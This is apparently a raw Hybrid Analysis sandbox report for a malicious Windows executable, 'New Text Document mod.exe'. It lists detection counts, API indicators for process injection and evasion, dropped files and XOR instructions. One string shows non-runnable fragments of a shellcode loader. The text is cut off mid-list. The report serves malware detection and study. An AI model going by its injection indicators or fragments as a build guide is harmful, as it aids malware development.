24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] c7:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4aa,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Marsilia.Generic Sample 2e2e035ece4a… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2e2e035ece4a…. Malware family: Marsilia.Generic. Threat score 100/100. 16/27 AV engines flagged this file. 43 malicious and 29 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2","keywords":["Malicious","Marsilia.Generic","malware analysis","sandbox report","threat intelligence","2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2"],"about":{"@type":"SoftwareApplication","name":"New Text Document mod.exse","applicationCategory":["peexe","assembly","executable"],"identifier":"2e2e035ece4accdee838ecaacdc263fa526939597954d18d1320d73c8bf810c2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Marsilia.Generic","antivirusDetections":{"malicious":16,"total":27},"behavioralIndicators":{"malicious":43,"suspicious":29},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1021,Found reference to API "!This program cannot be run in DOS mode.Rich}E.text`.rdata@.jdjgPAYLOAD:ExitProcessVirtualAllocKERNEL32.dllAQAPRH1QVeHrPM1JJH1AXAX^YZAXAYAZHXAYZHws2_32ZATIA^PPM1j@AYh}(XAWYhunMaKERNEL32.dllVirtualAllocExitProcess" (Indicator: "VirtualAlloc"; File: "tmp.exe") Found reference to API "!This program cannot be run in DOS mode.Rich}E.text`.rdata@.jdjgPAYLOAD:ExitProcessVirtualAllocKERNEL32.dllAQAPRH1QVeHrPM1JJH1AXAX^YZAXAYAZHXAYZHws2_32ZATIA^PPM1j@AYh}(XAWYhunMaKERNEL32.dllVirtualAllocExitProcess" (Indicator: "VirtualAllocEx"; File: "tmp.exe") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "New Text Document mod.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "New Text Document mod.exe") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "New Text Document mod.exe") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "New Text Document mod.exe") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")26:T4f2,"cooking.exe" called "FindResourceA" with parameter "140696043362500" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362512" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362544" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362776" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362576" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362744" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362760" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "850448218320" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362632" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362736" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "850448218384" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362592" - (UID: 00000000-00005036) "cooking.exe" called "FindResourceA" with parameter "140696043362600" - (UID: 00000000-00005036)27:T6d4,"cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386952'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386808'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386968'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386856'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386824'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386872'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386920'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386792'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386904'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386936'}" (UID: 00000000-00005036) "cooking.exe" called "LoadResource with parameter {'hModule': '0', 'hResInfo': '140696043386888'}" (UID: 00000000-00005036) "irsetup.exe" called "LoadResource with parameter {'hModule': '11010048', 'hResInfo': '17270312'}" (UID: 00000000-00005524) "irsetup.exe" called "LoadResource with parameter {'hModule': '11010048', 'hResInfo': '17270512'}" (UID: 00000000-00005524) "irsetup.exe" called "LoadResource with parameter {'hModule': '11010048', 'hResInfo': '17270592'}" (UID: 00000000-00005524)28:Tf26,Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "New Text Document mod.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "New Text Document mod.exe") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "New Text Document mod.exe") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "New Text Document mod.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "New Text Document mod.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "New Text Document mod.exe") Found reference to API "SetTimer" (Indicator: "SetTimer"; File: "New Text Document mod.exe") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "SleepEx" (Indicator: "SleepEx"; File: "New Text Document mod.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "New Text Document mod.exe") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "New Text Document mod.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjects"; File: "New Text Document mod.exe") Found reference to API "WaitForMultipleObjectsEx" (Indicator: "WaitForMultipleObjectsEx"; File: "New Text Document mod.exe") Found reference to API "QueryPerformanceFrequency" (Indicator: "QueryPerformanceFrequency"; File: "New Text Document mod.exe") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "MsgWaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "SetTimer" (Indicator: "SetTimer"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")29:T54c,Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "New Text Document mod.exe") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenThreadToken" (Indicator: "OpenThreadToken"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00005036.00000000.270331.59AFE000.00000002.mdmp")2a:Ta2b,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "New Text Document mod.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "New Text Document mod.exe") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "New Text Document mod.exe") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "New Text Document mod.exe") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00000968.00000000.272733.00428000.00000004.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00001088.00000000.271453.00E64000.00000002.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00004944.00000000.271771.009E0000.00000004.mdmp, 00000000-00004944.00000000.271771.40004000.00000080.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00005036.00000000.270331.59AF9000.00000002.mdmp")2b:T1b5a,file/memory contains long string with (Indicator: "Rijndael"; File: "x.exe") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "x.exe") file/memory contains long string with (Indicator: "CryptoStream"; File: "xeno.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "xeno.exe") file/memory contains long string with (Indicator: "MD5CryptoServiceProvider"; File: "xeno.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "xeno.exe") file/memory contains long string with (Indicator: "HashAlgorithm"; File: "xtest.exe") file/memory contains long string with (Indicator: "MD5CryptoServiceProvider"; File: "xtest.exe") file/memory contains long string with (Indicator: "Rijndael"; File: "xtest.exe") file/memory contains long string with (Indicator: "RijndaelManaged"; File: "xtest.exe") file/memory contains long string with (Indicator: "SymmetricAlgorithm"; File: "xtest.exe") Found reference to "System.Security.Cryptography.RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesCryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesCryptoServiceProvider"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.RSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "RSACng"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.DSACng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "DSACng"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "Aes"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.AesManaged, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "AesManaged"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellman"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDiffieHellmanCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDiffieHellmanCng"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsa"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.ECDsaCng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "ECDsaCng"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512CryptoServiceProvider, System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" (Indicator: "SHA512CryptoServiceProvider"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "RandomNumberGenerator" (Indicator: "RandomNumberGenerator"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.HashAlgorithm" (Indicator: "HashAlgorithm"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA256CryptoServiceProvider" (Indicator: "SHA256CryptoServiceProvider"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384" (Indicator: "SHA384"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384Cng" (Indicator: "SHA384"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA384CryptoServiceProvider" (Indicator: "SHA384CryptoServiceProvider"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512" (Indicator: "SHA512"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp") Found reference to "System.Security.Cryptography.SHA512Cng" (Indicator: "SHA512"; Source: "00000000-00002000.00000000.269103.03650000.00000004.mdmp")2c:Ta87,"NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3198710442 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3198717883 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3199089132 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3199096235 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3201723116 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3201730732 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3201999375 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3202006587 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3203123326 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3203131464 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3203402010 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3203409056 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3204231575 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3204238565 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3204889839 [PID: 2000] "NewTextDocumentmod.exe" queried SystemProcessInformation at 00000000-00002000-00000C15-3204896831 [PID: 2000] "cooking.exe" queried SystemProcessInformation at 00000000-00005036-00000C15-3217120692 [PID: 5036] "cooking.exe" queried SystemProcessInformation at 00000000-00005036-00000C15-3217128397 [PID: 5036] "cooking.exe" queried SystemProcessInformation at 00000000-00005036-00000C15-3217478894 [PID: 5036] "cooking.exe" queried SystemProcessInformation at 00000000-00005036-00000C15-3217486135 [PID: 5036] "cooking.exe" queried SystemProcessInformation at 00000000-00005036-00000C15-3217771356 [PID: 5036] "cooking.exe" queried SystemProcessInformation at 00000000-00005036-00000C15-3217778305 [PID: 5036] "cooking.exe" queried SystemProcessInformation at 00000000-00005036-00000C15-3218153924 [PID: 5036] "cooking.exe" queried SystemProcessInformation at 00000000-00005036-00000C15-3218161229 [PID: 5036] "cmd.exe" queried SystemProcessInformation at 00000000-00007356-00000C15-3219116276 [PID: 7356]2d:T1450,Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-29-00E47712 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-29-00E47712 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-31-00E522CE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-31-00E522CE Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-36-00E46E48 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-36-00E46E48 Assembly shows XOR instruction xor ecx dword ptr [eax+08h] in Stream UID: 00000000-00001088-23227-56-00E500FC Assembly shows XOR instruction xor dword ptr [eax+08h] ecx in Stream UID: 00000000-00001088-23227-56-00E500FC Assembly shows XOR instruction xor ecx dword ptr [eax] in Stream UID: 00000000-00001088-23227-56-00E500FC Assembly shows XOR instruction xor dword ptr [eax] ecx in Stream UID: 00000000-00001088-23227-56-00E500FC Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-107-00D51038 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-107-00D51038 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-111-00D52158 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-111-00D52158 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-112-00D519A3 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-112-00D519A3 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-116-00D516FB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-116-00D516FB Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-118-00D51590 Assembly shows XOR instruction xor byte ptr [ecx+edi] 07h in Stream UID: 00000000-00001088-23227-118-00D51590 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-118-00D51590 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-119-00D51DF8 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-119-00D51DF8 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-120-00D518C0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-120-00D518C0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-121-00D51ABB Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-121-00D51ABB Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-162-00D53F1F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-162-00D53F1F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-378-00E51580 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-378-00E51580 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-433-00D569DA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-433-00D569DA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-449-00D5E116 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-449-00D5E116 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-450-00D57393 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-450-00D57393 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-471-00D5E3AA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-471-00D5E3AA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-483-00D58122 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-483-00D58122 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-515-00D58E14 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-515-00D58E14 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-516-00D5E25F Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-516-00D5E25F Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-550-00D598F5 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-550-00D598F5 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-554-00D59A88 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-554-00D59A88 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00001088-23227-577-00D5A310 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00001088-23227-577-00D5A310 Assembly shows XOR instruction xor eax ebp in Stream UID: 